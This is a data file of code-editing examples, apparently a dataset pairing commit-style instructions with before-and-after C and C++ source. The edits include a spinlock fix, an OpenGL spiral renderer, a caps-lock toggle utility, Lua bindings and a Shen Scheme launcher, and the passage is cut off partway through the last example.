Instruction stringlengths 14 778 | input_code stringlengths 0 4.24k | output_code stringlengths 1 5.44k |
|---|---|---|
Fix SpinLock and add tryLock. | // SyncTools.h
// This file is part of the EScript programming language (https://github.com/EScript)
//
// Copyright (C) 2015 Claudius Jhn <ClaudiusJ@live.de>
//
// Licensed under the MIT License. See LICENSE file for details.
// ---------------------------------------------------------------------------------
#ifndef SYNCTOOLS_H_INCLUDED
#define SYNCTOOLS_H_INCLUDED
#include <thread>
#include <mutex>
#include <atomic>
namespace EScript{
namespace SyncTools{
namespace _Internals{
//! \see http://en.cppreference.com/w/cpp/atomic/atomic_flag
class SpinLock{
private:
std::atomic_flag f;
public:
SpinLock():f(ATOMIC_FLAG_INIT){}
void lock() { while(!f.test_and_set(std::memory_order_acquire)); }
bool try_lock() { return !f.test_and_set(std::memory_order_acquire); }
void unlock() { f.clear(std::memory_order_release); }
};
}
typedef std::atomic<int> atomicInt;
typedef std::atomic<bool> atomicBool;
//typedef std::mutex FastLock;
typedef _Internals::SpinLock FastLock;
typedef std::unique_lock<FastLock> FastLockHolder;
}
}
#endif // SYNCTOOLS_H_INCLUDED
| // SyncTools.h
// This file is part of the EScript programming language (https://github.com/EScript)
//
// Copyright (C) 2015 Claudius Jhn <ClaudiusJ@live.de>
//
// Licensed under the MIT License. See LICENSE file for details.
// ---------------------------------------------------------------------------------
#ifndef SYNCTOOLS_H_INCLUDED
#define SYNCTOOLS_H_INCLUDED
#include <thread>
#include <mutex>
#include <atomic>
namespace EScript{
namespace SyncTools{
namespace _Internals{
//! \see http://en.cppreference.com/w/cpp/atomic/atomic_flag
class SpinLock{
std::atomic_flag f;
public:
SpinLock():f(ATOMIC_FLAG_INIT){}
void lock() { while(f.test_and_set(std::memory_order_acquire)); }
bool try_lock() { return !f.test_and_set(std::memory_order_acquire); }
void unlock() { f.clear(std::memory_order_release); }
};
}
typedef std::atomic<int> atomicInt;
typedef std::atomic<bool> atomicBool;
//typedef std::mutex FastLock;
typedef _Internals::SpinLock FastLock;
//typedef std::mutex FastLock;
typedef std::unique_lock<FastLock> FastLockHolder;
inline SyncTools::FastLockHolder tryLock(FastLock& lock){
return std::move(FastLockHolder(lock, std::try_to_lock) );
}
}
}
#endif // SYNCTOOLS_H_INCLUDED
|
Add missing file. Remove debuggig statements | #ifndef TAILPRODUCE_UTILS_H
#define TAILPRODUCE_UTILS_H
#include <string>
#include <sstream>
#include <memory>
#include <unordered_map>
#include <utility>
#include <cereal/cereal.hpp>
#include <cereal/archives/json.hpp>
#include <cereal/types/string.hpp>
#include "helpers.h"
#include "stream.h"
#include "dbm_iterator.h"
#include "config_values.h"
#include "stream_persist.h"
namespace TailProduce {
// This block of code is used to create a stream and a producer pair from the stream persist objects in the db
template<typename ORDER_KEY, typename STORAGE>
auto
RestorePersistedStreams(TailProduce::StreamsRegistry& registry,
STORAGE& storage,
TailProduce::ConfigValues const& cv) ->
std::unordered_map< std::string, std::shared_ptr<TailProduce::Stream<ORDER_KEY>>>
{
typedef TailProduce::Stream<ORDER_KEY> STREAM;
typedef std::shared_ptr<STREAM> STREAM_PTR;
std::unordered_map<std::string, STREAM_PTR> results;
auto knownStreamsKey = cv.GetStreamsRegister(""); // passing an empty string will allow creating an iterator of all known streams
auto iterator = storage.GetIterator(knownStreamsKey);
while(!iterator.Done()) {
std::string streamValues = antibytes(iterator.Value());
TailProduce::StreamPersist persisted;
std::istringstream is(streamValues); // make the string a stream
cereal::JSONInputArchive ar(is); // make a JSON Input Archive from the string
ar(persisted); // populate Persisted
auto stream = STREAM_PTR(new STREAM(registry,
cv,
persisted.stream_name,
persisted.entry_type_name,
persisted.order_key_type_name));
results.insert(std::make_pair(stream->GetId(), stream));
iterator.Next();
}
return results;
}
template<typename STORAGE>
void
PersistStream(STORAGE storage,
TailProduce::StreamPersist &sp,
TailProduce::ConfigValues& cv)
{
// The reverse of this is to store the known streams in the DB.
std::ostringstream os;
(cereal::JSONOutputArchive(os))(sp);
std::string objStr = os.str();
TailProduce::Storage::KEY_TYPE skey = cv.GetStreamsRegister(sp.stream_name);
storage.AdminSet(skey, TailProduce::bytes(objStr));
}
};
#endif
| |
Use integers instead of floats in for-loop | #ifndef SPIRALLINESGLWIDGET_H
#define SPIRALLINESGLWIDGET_H
#include "GLWidget.h"
#include <cmath>
class SpiralLinesGLWidget : public GLWidget
{
public:
SpiralLinesGLWidget(QWidget* parent = 0);
protected:
void initializeGL();
void render();
};
SpiralLinesGLWidget::SpiralLinesGLWidget(QWidget* parent) : GLWidget(parent) {}
void SpiralLinesGLWidget::initializeGL()
{
GLWidget::initializeGL();
setXRotation(-45);
setYRotation(15);
setZRotation(45);
}
void SpiralLinesGLWidget::render()
{
// How many revolutions of the spiral are rendered.
static const float REVOLUTIONS = 10;
static const float PI = 3.14159;
glBegin(GL_LINE_STRIP);
for (float angle = 0; angle < 2*PI*REVOLUTIONS; angle += PI / (2 * REVOLUTIONS * 10)) {
glVertex2f(
angle * (float) sin(angle),
angle * (float) cos(angle));
}
glEnd();
}
#endif // SPIRALLINESGLWIDGET_H
| #ifndef SPIRALLINESGLWIDGET_H
#define SPIRALLINESGLWIDGET_H
#include "GLWidget.h"
#include <cmath>
class SpiralLinesGLWidget : public GLWidget
{
public:
SpiralLinesGLWidget(QWidget* parent = 0);
protected:
void initializeGL();
void render();
};
SpiralLinesGLWidget::SpiralLinesGLWidget(QWidget* parent) : GLWidget(parent) {}
void SpiralLinesGLWidget::initializeGL()
{
GLWidget::initializeGL();
setXRotation(-45);
setYRotation(15);
setZRotation(45);
}
void SpiralLinesGLWidget::render()
{
// How many revolutions of the spiral are rendered.
static const float REVOLUTIONS = 10;
static const float PI = 3.14159;
// How many vertices per revolution.
static const float SLICES = 10;
glBegin(GL_LINE_STRIP);
for (int i = 0; i <= REVOLUTIONS * SLICES; i++) {
const float angle = i * 2 * PI / SLICES;
glVertex2f(
angle * (float) sin(angle),
angle * (float) cos(angle));
}
glEnd();
}
#endif // SPIRALLINESGLWIDGET_H
|
Comment out unused fields in kndLearnerService | #pragma once
#include <pthread.h>
#include <glb-lib/output.h>
#include <kmq.h>
#include <knd_shard.h>
struct kndLearnerService;
struct kndLearnerOptions
{
char *config_file;
struct addrinfo *address;
};
struct kndLearnerService
{
struct kmqKnode *knode;
struct kmqEndPoint *entry_point;
struct kndShard *shard;
char name[KND_NAME_SIZE];
size_t name_size;
char path[KND_NAME_SIZE];
size_t path_size;
char schema_path[KND_NAME_SIZE];
size_t schema_path_size;
char delivery_addr[KND_NAME_SIZE];
size_t delivery_addr_size;
size_t max_users;
const struct kndLearnerOptions *opts;
/********************* public interface *********************************/
int (*start)(struct kndLearnerService *self);
void (*del)(struct kndLearnerService *self);
};
int kndLearnerService_new(struct kndLearnerService **service, const struct kndLearnerOptions *opts);
| #pragma once
#include <pthread.h>
#include <glb-lib/output.h>
#include <kmq.h>
#include <knd_shard.h>
struct kndLearnerService;
struct kndLearnerOptions
{
char *config_file;
struct addrinfo *address;
};
struct kndLearnerService
{
struct kmqKnode *knode;
struct kmqEndPoint *entry_point;
struct kndShard *shard;
char name[KND_NAME_SIZE];
size_t name_size;
// char path[KND_NAME_SIZE];
// size_t path_size;
//
// char schema_path[KND_NAME_SIZE];
// size_t schema_path_size;
//
// char delivery_addr[KND_NAME_SIZE];
// size_t delivery_addr_size;
// size_t max_users;
const struct kndLearnerOptions *opts;
/********************* public interface *********************************/
int (*start)(struct kndLearnerService *self);
void (*del)(struct kndLearnerService *self);
};
int kndLearnerService_new(struct kndLearnerService **service, const struct kndLearnerOptions *opts);
|
Change to send routine: return status | #ifndef HTTPD_PLATFORM_H
#define HTTPD_PLATFORM_H
void httpdPlatSendData(ConnTypePtr conn, char *buff, int len);
void httpdPlatDisconnect(ConnTypePtr conn);
void httpdPlatInit(int port, int maxConnCt);
#endif | #ifndef HTTPD_PLATFORM_H
#define HTTPD_PLATFORM_H
int httpdPlatSendData(ConnTypePtr conn, char *buff, int len);
void httpdPlatDisconnect(ConnTypePtr conn);
void httpdPlatInit(int port, int maxConnCt);
#endif |
Make command line argument case insensitive | #include <stdio.h>
#include <string.h>
#include <X11/Xlib.h>
#include <X11/XKBlib.h>
#define CAPSLOCK 2
void setcaps(int on)
{
Display* display = XOpenDisplay(NULL);
XkbLockModifiers(display, XkbUseCoreKbd, CAPSLOCK, on ? CAPSLOCK : 0);
XCloseDisplay(display);
}
void usage(const char* program_name)
{
printf("Usage: %s [on|off]\n\n", program_name);
printf("Use '%s' to disable your caps key");
}
int main(int argc, char** argv)
{
if (argc > 2) {
usage(argv[0]);
return 1;
}
int on = 1;
if (argc == 2) {
if (strcmp(argv[1], "on") == 0) {
on = 1;
}
else if (strcmp(argv[1], "off") == 0) {
on = 0;
}
else {
usage(argv[0]);
return 1;
}
}
setcaps(on);
return 0;
}
| #include <stdio.h>
#include <strings.h>
#include <X11/Xlib.h>
#include <X11/XKBlib.h>
#define CAPSLOCK 2
void setcaps(int on)
{
Display* display = XOpenDisplay(NULL);
XkbLockModifiers(display, XkbUseCoreKbd, CAPSLOCK, on ? CAPSLOCK : 0);
XCloseDisplay(display);
}
void usage(const char* program_name)
{
printf("Usage: %s [on|off]\n\n", program_name);
printf("Use '%s' to disable your caps key");
}
int main(int argc, char** argv)
{
if (argc > 2) {
usage(argv[0]);
return 1;
}
int on = 1;
if (argc == 2) {
if (strcasecmp(argv[1], "on") == 0) {
on = 1;
}
else if (strcasecmp(argv[1], "off") == 0) {
on = 0;
}
else {
usage(argv[0]);
return 1;
}
}
setcaps(on);
return 0;
}
|
Add routine screenBuffer to enable scrolling view and to enable syntax highlighting. | #! /usr/bin/tcc -run
/*** construct scroll ready screen buffer ***/
// y = 0,1,2 ... (text buffer first line, second line, ...)
// x = 0,1,2 ... (screen buffer first character in line y, ...)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
size_t linecap;
FILE *fp;
typedef struct slot
{
ssize_t size;
char *row;
int count;
} slot;
slot line;
slot* text;
void screenBuffer(int star, int stop)
{
printf("%s","entering screenBuffer\n");
slot* display = (slot *) malloc( (25)*sizeof(slot));
for (int i=0; i<25; i++) {display[i].size = 1;
display[i].row = "~";
display[i].count = 0;}
int i; int dy = -1;
for (int i = star; i<(stop+1); i++)
{dy++ ; display[dy] = text[i];}
dy = -1 ;
for (int i = star; i<(stop+1); i++)
{
dy++ ;
int stringLength = display[dy].size;
char* pointerToString = display[dy].row;
printf("%.*s", stringLength, pointerToString);
}
}
int readAline(void)
{
line.row = NULL; linecap = 0;
line.size = getline (&line.row, &linecap, fp);
if (line.size == -1) {return line.size;}
if((line.count == 0))
{ text = (slot *) malloc( (1+line.count)*sizeof(slot));}
else { text = (slot *)realloc(text,(1+line.count)*sizeof(slot));}
char * ptr = malloc(line.size*sizeof(char));
text[line.count].row = ptr ;
text[line.count].size = line.size;
memcpy(ptr,line.row,line.size);
line.count++;
return 0;
}
int main(int arc, char** argv)
{
printf("\n%s executing\n\n",argv[0]);
char *filename = "NDEX.dat"; fp = fopen(filename,"r");
int lastline;
line.count = 0;
while((readAline() != -1)) {lastline = line.count;}
for (int y = 0; y < lastline; y++)
{
for (int x = 0; x < text[y].size; x++)
{char ch = text[y].row[x]; printf("%c",ch);}
}
printf("%s","here i should be\n");
screenBuffer(1,3);
}
| |
Fix AddUserToList bug when root is NULL | #include "user.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
user_t* NewUser(int fd,char *addr,unsigned short port,char *name){
user_t *user = malloc(sizeof(user_t));
if(user == NULL){
goto ret;
}
if(fd < 0 || addr == NULL || name == NULL){
free(user);
user = NULL;
goto ret;
}
user->fd = fd;
strcpy(user->addr,addr);
user->port = port;
strcpy(user->name,name);
user->next = NULL;
ret:
return user;
}
void AddUserToList(user_t *root,user_t *newUser){
user_t *cur = root;
while(cur->next != NULL){
cur = cur->next;
}
cur->next = newUser;
}
int CheckUserValid(user_t *root,char *name){
user_t *cur=root;
int len = strlen(name);
if(len < 2 || len > 12){
return 0;
}
if(strcmp(name,"anonymous") == 0){
return 0;
}
while(cur != NULL){
if(strcmp(cur->name,name) == 0){
return 0;
}
cur = cur->next;
}
return 1;
}
| #include "user.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
user_t* NewUser(int fd,char *addr,unsigned short port,char *name){
user_t *user = malloc(sizeof(user_t));
if(user == NULL){
goto ret;
}
if(fd < 0 || addr == NULL || name == NULL){
free(user);
user = NULL;
goto ret;
}
user->fd = fd;
strcpy(user->addr,addr);
user->port = port;
strcpy(user->name,name);
user->next = NULL;
ret:
return user;
}
void AddUserToList(user_t *root,user_t *newUser){
user_t *cur = root;
if(root == NULL){
return;
}
while(cur->next != NULL){
cur = cur->next;
}
cur->next = newUser;
}
int CheckUserValid(user_t *root,char *name){
user_t *cur=root;
int len = strlen(name);
if(len < 2 || len > 12){
return 0;
}
if(strcmp(name,"anonymous") == 0){
return 0;
}
while(cur != NULL){
if(strcmp(cur->name,name) == 0){
return 0;
}
cur = cur->next;
}
return 1;
}
|
Increase version number for KDE 3.5.9. | // KMail Version Information
//
#ifndef kmversion_h
#define kmversion_h
#define KMAIL_VERSION "1.9.8"
#endif /*kmversion_h*/
| // KMail Version Information
//
#ifndef kmversion_h
#define kmversion_h
#define KMAIL_VERSION "1.9.9"
#endif /*kmversion_h*/
|
Add virtual deconstructor for abstract class Downloader | // Copyright (c) 2015, Galaxy Authors. All Rights Reserved
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// Author: yuanyi03@baidu.com
#ifndef _DOWNLOAD_H
#define _DOWNLOAD_H
#include <string>
namespace galaxy {
class Downloader {
public:
virtual int Fetch(const std::string& uri, const std::string& dir) = 0;
virtual void Stop() = 0;
};
} // ending namespace galaxy
#endif //_DOWNLOAD_H
/* vim: set ts=4 sw=4 sts=4 tw=100 */
| // Copyright (c) 2015, Galaxy Authors. All Rights Reserved
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// Author: yuanyi03@baidu.com
#ifndef _DOWNLOAD_H
#define _DOWNLOAD_H
#include <string>
namespace galaxy {
class Downloader {
public:
virtual ~Downloader() {}
virtual int Fetch(const std::string& uri, const std::string& dir) = 0;
virtual void Stop() = 0;
};
} // ending namespace galaxy
#endif //_DOWNLOAD_H
/* vim: set ts=4 sw=4 sts=4 tw=100 */
|
Allow reading back callbacks set to handles | #include <string.h>
#include "luv.h"
#include "luv_functions.c"
int luv_newindex(lua_State* L) {
lua_getfenv(L, 1);
lua_pushvalue(L, 2);
lua_pushvalue(L, 3);
lua_rawset(L, -3);
lua_pop(L, 1);
return 0;
}
LUALIB_API int luaopen_luv (lua_State *L) {
luv_main_thread = L;
luaL_newmetatable(L, "luv_handle");
lua_pushcfunction(L, luv_newindex);
lua_setfield(L, -2, "__newindex");
lua_pop(L, 1);
// Module exports
lua_newtable (L);
luv_setfuncs(L, luv_functions);
return 1;
}
| #include <string.h>
#include "luv.h"
#include "luv_functions.c"
static int luv_newindex(lua_State* L) {
lua_getfenv(L, 1);
lua_pushvalue(L, 2);
lua_pushvalue(L, 3);
lua_rawset(L, -3);
lua_pop(L, 1);
return 0;
}
static int luv_index(lua_State* L) {
#ifdef LUV_STACK_CHECK
int top = lua_gettop(L);
#endif
lua_getfenv(L, 1);
lua_pushvalue(L, 2);
lua_rawget(L, -2);
lua_remove(L, -2);
#ifdef LUV_STACK_CHECK
assert(lua_gettop(L) == top + 1);
#endif
return 1;
}
LUALIB_API int luaopen_luv (lua_State *L) {
luv_main_thread = L;
luaL_newmetatable(L, "luv_handle");
lua_pushcfunction(L, luv_newindex);
lua_setfield(L, -2, "__newindex");
lua_pushcfunction(L, luv_index);
lua_setfield(L, -2, "__index");
lua_pop(L, 1);
// Module exports
lua_newtable (L);
luv_setfuncs(L, luv_functions);
return 1;
}
|
Build if GETC_MACRO use is disabled | /* Copyright (C) 2004 Manuel Novoa III <mjn3@codepoet.org>
*
* GNU Library General Public License (LGPL) version 2 or later.
*
* Dedicated to Toni. See uClibc/DEDICATION.mjn3 for details.
*/
#include "_stdio.h"
link_warning(gets, "the 'gets' function is dangerous and should not be used.")
/* UNSAFE FUNCTION -- do not bother optimizing */
libc_hidden_proto(getchar_unlocked)
libc_hidden_proto(__fgetc_unlocked)
libc_hidden_proto(__stdin)
char *gets(char *s)
{
register char *p = s;
int c;
__STDIO_AUTO_THREADLOCK_VAR;
__STDIO_AUTO_THREADLOCK(stdin);
/* Note: don't worry about performance here... this shouldn't be used!
* Therefore, force actual function call. */
while (((c = getchar_unlocked()) != EOF) && ((*p = c) != '\n')) {
++p;
}
if ((c == EOF) || (s == p)) {
s = NULL;
} else {
*p = 0;
}
__STDIO_AUTO_THREADUNLOCK(stdin);
return s;
}
| /* Copyright (C) 2004 Manuel Novoa III <mjn3@codepoet.org>
*
* GNU Library General Public License (LGPL) version 2 or later.
*
* Dedicated to Toni. See uClibc/DEDICATION.mjn3 for details.
*/
#include "_stdio.h"
link_warning(gets, "the 'gets' function is dangerous and should not be used.")
/* UNSAFE FUNCTION -- do not bother optimizing */
libc_hidden_proto(getchar_unlocked)
libc_hidden_proto(__fgetc_unlocked)
#ifdef __STDIO_GETC_MACRO
libc_hidden_proto(__stdin)
#else
#define __stdin stdin
#endif
char *gets(char *s)
{
register char *p = s;
int c;
__STDIO_AUTO_THREADLOCK_VAR;
__STDIO_AUTO_THREADLOCK(stdin);
/* Note: don't worry about performance here... this shouldn't be used!
* Therefore, force actual function call. */
while (((c = getchar_unlocked()) != EOF) && ((*p = c) != '\n')) {
++p;
}
if ((c == EOF) || (s == p)) {
s = NULL;
} else {
*p = 0;
}
__STDIO_AUTO_THREADUNLOCK(stdin);
return s;
}
|
Make sure NOMINMAX is not redefined | #pragma once
#define NOMINMAX
#include <windows.h>
#include <streams.h>
#include <audioclient.h>
#include <comdef.h>
#include <malloc.h>
#include <mmdeviceapi.h>
#include <process.h>
#include <algorithm>
#include <array>
#include <cassert>
#include <deque>
#include <functional>
#include <future>
#include <map>
#include <memory>
#include "Utils.h"
namespace SaneAudioRenderer
{
_COM_SMARTPTR_TYPEDEF(IMMDeviceEnumerator, __uuidof(IMMDeviceEnumerator));
_COM_SMARTPTR_TYPEDEF(IMMDevice, __uuidof(IMMDevice));
_COM_SMARTPTR_TYPEDEF(IAudioClient, __uuidof(IAudioClient));
_COM_SMARTPTR_TYPEDEF(IAudioRenderClient, __uuidof(IAudioRenderClient));
_COM_SMARTPTR_TYPEDEF(IAudioClock, __uuidof(IAudioClock));
_COM_SMARTPTR_TYPEDEF(IMediaSample, __uuidof(IMediaSample));
}
| #pragma once
#ifndef NOMINMAX
# define NOMINMAX
#endif
#include <windows.h>
#include <streams.h>
#include <audioclient.h>
#include <comdef.h>
#include <malloc.h>
#include <mmdeviceapi.h>
#include <process.h>
#include <algorithm>
#include <array>
#include <cassert>
#include <deque>
#include <functional>
#include <future>
#include <map>
#include <memory>
#include "Utils.h"
namespace SaneAudioRenderer
{
_COM_SMARTPTR_TYPEDEF(IMMDeviceEnumerator, __uuidof(IMMDeviceEnumerator));
_COM_SMARTPTR_TYPEDEF(IMMDevice, __uuidof(IMMDevice));
_COM_SMARTPTR_TYPEDEF(IAudioClient, __uuidof(IAudioClient));
_COM_SMARTPTR_TYPEDEF(IAudioRenderClient, __uuidof(IAudioRenderClient));
_COM_SMARTPTR_TYPEDEF(IAudioClock, __uuidof(IAudioClock));
_COM_SMARTPTR_TYPEDEF(IMediaSample, __uuidof(IMediaSample));
}
|
Fix for missing forward declaration in AliROOT | #ifndef ALIVERTEXERHYPERTRITON3BODY_H
#define ALIVERTEXERHYPERTRITON3BODY_H
#include <AliVertexerTracks.h>
class AliESDVertex;
class AliESDtrack;
class AliExternalTrackParam;
class AliVertexerHyperTriton3Body
{
public:
AliVertexerHyperTriton3Body();
AliESDVertex* GetCurrentVertex() { return mCurrentVertex; }
bool FindDecayVertex(AliESDtrack *track1, AliESDtrack *track2, AliESDtrack* track3, float b);
static void Find2ProngClosestPoint(AliExternalTrackParam *track1, AliExternalTrackParam *track2, float b, float* pos);
void SetMaxDinstanceInit(float maxD) { mMaxDistanceInitialGuesses = maxD; }
void SetToleranceGuessCompatibility(int tol) { mToleranceGuessCompatibility = tol; }
AliVertexerTracks mVertexerTracks;
private:
AliESDVertex* mCurrentVertex;
float mPosition[3];
float mCovariance[6];
float mMaxDistanceInitialGuesses;
int mToleranceGuessCompatibility;
};
#endif | #ifndef ALIVERTEXERHYPERTRITON3BODY_H
#define ALIVERTEXERHYPERTRITON3BODY_H
class TClonesArray; /// This will be removed as soon as alisw/AliRoot#898 is merged and a new tag is available
#include <AliVertexerTracks.h>
class AliESDVertex;
class AliESDtrack;
class AliExternalTrackParam;
class AliVertexerHyperTriton3Body
{
public:
AliVertexerHyperTriton3Body();
AliESDVertex* GetCurrentVertex() { return mCurrentVertex; }
bool FindDecayVertex(AliESDtrack *track1, AliESDtrack *track2, AliESDtrack* track3, float b);
static void Find2ProngClosestPoint(AliExternalTrackParam *track1, AliExternalTrackParam *track2, float b, float* pos);
void SetMaxDinstanceInit(float maxD) { mMaxDistanceInitialGuesses = maxD; }
void SetToleranceGuessCompatibility(int tol) { mToleranceGuessCompatibility = tol; }
AliVertexerTracks mVertexerTracks;
private:
AliESDVertex* mCurrentVertex;
float mPosition[3];
float mCovariance[6];
float mMaxDistanceInitialGuesses;
int mToleranceGuessCompatibility;
};
#endif |
Add method 'RClean' for clean memory | #ifndef RUTIL2_RALLOC_H
#define RUTIL2_RALLOC_H
#include "OO.h"
void* RAlloc(int Size);
void* RAlign(int Align, int Size);
#if defined(__MINGW32__)
#define _aligned_malloc __mingw_aligned_malloc
#define _aligned_free __mingw_aligned_free
#define memalign(align, size) _aligned_malloc(size, align)
#endif //For MinGW
#define RFree(...) __RFree(__VA_ARGS__, (void*)(- 1))
void __RFree(void* a, ...);
#define RAlloc_Class(Name, Size) \
(Name*)__RAlloc_Class(Size, sizeof(Name), _C(__ClassID_, Name, __));
void* __RAlloc_Class(int Size, int UnitSize, int ClassID);
#if 0
#include "_RAlloc.h"
#endif
#ifdef __RUtil2_Install
#define _RTAddress "RUtil2/Core/_RAlloc.h"
#else
#define _RTAddress "Core/_RAlloc.h"
#endif
#define _ClassName
#define _Attr 1
#include "Include_T1AllTypes.h"
#endif //RUTIL2_RALLOC_H
| #ifndef RUTIL2_RALLOC_H
#define RUTIL2_RALLOC_H
#include <memory.h>
#include "OO.h"
void* RAlloc(int Size);
void* RAlign(int Align, int Size);
#if defined(__MINGW32__)
#define _aligned_malloc __mingw_aligned_malloc
#define _aligned_free __mingw_aligned_free
#define memalign(align, size) _aligned_malloc(size, align)
#endif //For MinGW
#define RClean(Ptr) memset(Ptr, 0, sizeof(Ptr));
#define RFree(...) __RFree(__VA_ARGS__, (void*)(- 1))
void __RFree(void* a, ...);
#define RAlloc_Class(Name, Size) \
(Name*)__RAlloc_Class(Size, sizeof(Name), _C(__ClassID_, Name, __));
void* __RAlloc_Class(int Size, int UnitSize, int ClassID);
#if 0
#include "_RAlloc.h"
#endif
#ifdef __RUtil2_Install
#define _RTAddress "RUtil2/Core/_RAlloc.h"
#else
#define _RTAddress "Core/_RAlloc.h"
#endif
#define _ClassName
#define _Attr 1
#include "Include_T1AllTypes.h"
#endif //RUTIL2_RALLOC_H
|
Fix typo in a comment: it's base58, not base48. | #ifndef BITCOINADDRESSVALIDATOR_H
#define BITCOINADDRESSVALIDATOR_H
#include <QValidator>
/** Base48 entry widget validator.
Corrects near-miss characters and refuses characters that are no part of base48.
*/
class BitcoinAddressValidator : public QValidator
{
Q_OBJECT
public:
explicit BitcoinAddressValidator(QObject *parent = 0);
State validate(QString &input, int &pos) const;
static const int MaxAddressLength = 35;
};
#endif // BITCOINADDRESSVALIDATOR_H
| #ifndef BITCOINADDRESSVALIDATOR_H
#define BITCOINADDRESSVALIDATOR_H
#include <QValidator>
/** Base58 entry widget validator.
Corrects near-miss characters and refuses characters that are not part of base58.
*/
class BitcoinAddressValidator : public QValidator
{
Q_OBJECT
public:
explicit BitcoinAddressValidator(QObject *parent = 0);
State validate(QString &input, int &pos) const;
static const int MaxAddressLength = 35;
};
#endif // BITCOINADDRESSVALIDATOR_H
|
Make sure export macro is properly set | #ifndef CUTELYST_GLOBAL_H
#define CUTELYST_GLOBAL_H
#include <QtCore/QtGlobal>
#if defined(CUTELYST_LIBRARY)
# define CUTELYST_LIBRARY Q_DECL_EXPORT
#else
# define CUTELYST_LIBRARY Q_DECL_IMPORT
#endif
#endif // CUTELYST_GLOBAL_H
| #ifndef CUTELYST_GLOBAL_H
#define CUTELYST_GLOBAL_H
#include <QtCore/QtGlobal>
// defined by cmake when building this library
#if defined(cutelyst_qt5_EXPORTS)
# define CUTELYST_LIBRARY Q_DECL_EXPORT
#else
# define CUTELYST_LIBRARY Q_DECL_IMPORT
#endif
#endif // CUTELYST_GLOBAL_H
|
Support several texture coords and colors per vertex | /*
* Copyright (c) 2017 Lech Kulina
*
* This file is part of the Realms Of Steel.
* For conditions of distribution and use, see copyright details in the LICENSE file.
*/
#ifndef ROS_VERTEX_H
#define ROS_VERTEX_H
#include <glm/vec2.hpp>
#include <glm/vec3.hpp>
#include <glm/vec4.hpp>
#include <core/Common.h>
#include <core/Environment.h>
namespace ros {
struct ROS_API Vertex {
glm::vec3 position;
glm::vec3 normal;
glm::vec3 tangent;
glm::vec3 bitangent;
glm::vec2 textureCoordinates;
glm::vec4 color;
};
typedef std::vector<Vertex> VertexVector;
typedef std::vector<U32> IndexVector;
}
#endif // ROS_VERTEX_H
| /*
* Copyright (c) 2017 Lech Kulina
*
* This file is part of the Realms Of Steel.
* For conditions of distribution and use, see copyright details in the LICENSE file.
*/
#ifndef ROS_VERTEX_H
#define ROS_VERTEX_H
#include <glm/vec2.hpp>
#include <glm/vec3.hpp>
#include <glm/vec4.hpp>
#include <core/Common.h>
#include <core/Environment.h>
namespace ros {
struct ROS_API Vertex {
static const U32 MAX_COLORS = 3;
static const U32 MAX_TEXTURE_COORDS = 3;
glm::vec4 colors[MAX_COLORS];
glm::vec3 textureCoords[MAX_TEXTURE_COORDS];
glm::vec3 position;
glm::vec3 normal;
glm::vec3 tangent;
glm::vec3 bitangent;
};
typedef std::vector<Vertex> VerticesVector;
}
#endif // ROS_VERTEX_H
|
Fix up name of init_namespaces method. | /* $Id: ruby_xml_ns.h 612 2008-11-21 08:01:29Z cfis $ */
/* Please see the LICENSE file for copyright and distribution information */
#ifndef __RXML_NAMESPACES__
#define __RXML_NAMESPACES__
extern VALUE cXMLNamespaces;
void ruby_init_xml_namespaces(void);
#endif
| /* $Id: ruby_xml_ns.h 612 2008-11-21 08:01:29Z cfis $ */
/* Please see the LICENSE file for copyright and distribution information */
#ifndef __RXML_NAMESPACES__
#define __RXML_NAMESPACES__
extern VALUE cXMLNamespaces;
void rxml_init_namespaces(void);
#endif
|
Fix missing dependency on sys/types.h | #pragma once
#include <uk/mman.h>
BEGIN_DECLS
void *mmap(void *addr, size_t length, int prot, int flags,
int fd, off_t offset);
int munmap(void *addr, size_t length);
int mprotect(void *addr, size_t length, int prot);
int madvise(void *addr, size_t length, int advice);
END_DECLS
| #pragma once
#include <sys/types.h>
#include <uk/mman.h>
BEGIN_DECLS
void *mmap(void *addr, size_t length, int prot, int flags,
int fd, off_t offset);
int munmap(void *addr, size_t length);
int mprotect(void *addr, size_t length, int prot);
int madvise(void *addr, size_t length, int advice);
END_DECLS
|
Support to division every number. | //
// Created by wan on 1/2/16.
//
#include <stdio.h>
int main(void) {
printf("Input:");
int a;
scanf("%d", &a);
if (2016 % a != 0) {
printf("No way. Exit.\n");
return 0;
}
int s = 2016;
printf("2016 = ");
int flag = 0, b;
for (b = 1111; b >= 1; b /= 10) {
int t = a * b;
for (;;) {
if (s >= t) {
if (flag == 0)
flag = 1;
else
printf(" + ");
printf("%d", t);
s -= t;
}
else
break;
}
}
printf("\n");
return 0;
}
| //
// Created by Hexapetalous on 1/1/16.
//
#include <stdio.h>
int main(void) {
printf("Input[1]:");
int a;
scanf("%d", &a);
printf("Input[2]:");
int z;
scanf("%d", &z);
if (z % a != 0) {
printf("No way. Exit.\n");
return 0;
}
int s = z;
printf("%d = ", z);
int flag = 0, b;
for (b = 1; b < s; b = b * 10 + 1)
;
for (b /= 10; b >= 1; b /= 10) {
int t = a * b;
for (; s >= t;) {
if (flag == 0)
flag = 1;
else
printf(" + ");
printf("%d", t);
s -= t;
}
}
printf("\n");
return 0;
}
|
Make it so that if no path for the shen boot file is specified, it is looked at the same directory of the shen-scheme executable | #include "scheme.h"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#ifndef DEFAULT_BOOTFILE_PATH
# define DEFAULT_BOOTFILE_PATH "./shen.boot"
#endif
static void custom_init(void) {}
int main(int argc, char *argv[]) {
int status;
char *bfpath = getenv("SHEN_BOOTFILE_PATH");
if (bfpath == NULL) {
bfpath = DEFAULT_BOOTFILE_PATH;
}
if (access(bfpath, F_OK) == -1) {
fprintf(stderr, "ERROR: boot file '%s' doesn't exist or is not readable.\n",
bfpath);
exit(1);
}
Sscheme_init(NULL);
Sregister_boot_file(bfpath);
Sbuild_heap(NULL, custom_init);
status = Sscheme_start(argc + 1, (const char**)argv - 1);
Sscheme_deinit();
exit(status);
}
| #include "scheme.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#ifndef DEFAULT_BOOTFILE_PATH
# define DEFAULT_BOOTFILE_PATH NULL
#endif
static void custom_init(void) {}
int main(int argc, char *argv[]) {
int status;
char *bfpath = getenv("SHEN_BOOTFILE_PATH");
if (bfpath == NULL) {
